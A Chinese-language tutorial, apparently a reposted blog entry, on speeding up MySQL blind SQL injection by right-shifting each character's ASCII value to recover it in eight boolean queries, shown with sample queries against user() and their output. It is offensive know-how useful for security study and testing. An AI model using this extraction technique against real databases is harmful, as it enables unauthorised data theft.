好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

关于通过对8bit的ascii做右位移提高mysql盲注

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位

 

下面将以查询mysql 数据库 当中user()的第一位为例:

 

ps:第二位,第三位依次类推 select substr(user(),2,1) mysql > select substr(user(),3,1)

 

首先执行如下sql语句: www.2cto.com

 

mysql> select (ascii((substr(user(),1,1))) >> 7)=0;

 

我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的

 

 

 

+————————————–+

| (ascii((substr(user(),1,1))) >> 7)=0 |

+————————————–+

| 1 |

+————————————–+

1 row in set (0.00 sec)

 

第二次我们来做6次右偏移来确定前两位

 

前两位可能是01或00,即依然可以与0做比较,

 

mysql> select (ascii((substr(user(),1,1))) >> 6)=0;

+————————————–+

| (ascii((substr(user(),1,1))) >> 6)=0 |

+————————————–+

| 0 |

+————————————–+

1 row in set (0.00 sec)

 

 

 

让我们看看010和011的ascii码是多少

 

分别查询select b’011′ select b’010′

 

 

执行如下sql:

 

mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

+————————————–+

| (ascii((substr(user(),1,1))) >> 5)=2 |

+————————————–+

| 0 |

+————————————–+

 

 

直到获得最后一位

 

 

转换一下:

 

select b’01110010′

 

查询结果

 

+————-+

| b’01110010′ |

+————-+

| r |

+————-+

1 row in set (0.00 sec)

 

这样我们就获得了user()的第一位.其它位依此类推

 

查看更多关于关于通过对8bit的ascii做右位移提高mysql盲注的详细内容...

  阅读:38次